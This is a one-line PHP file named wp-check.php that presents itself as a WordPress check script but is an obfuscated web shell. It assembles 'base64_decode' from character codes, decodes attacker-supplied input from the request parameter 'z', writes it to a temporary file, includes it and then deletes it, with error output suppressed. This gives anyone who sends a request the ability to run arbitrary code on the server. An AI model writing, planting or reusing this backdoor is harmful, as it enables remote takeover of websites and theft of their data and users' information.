wp-check.php

<?php $m=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$m=$m($_REQUEST[chr(122)]);@file_put_contents(chr(122),"<?php ".$m);@include(chr(122));@unlink(chr(122));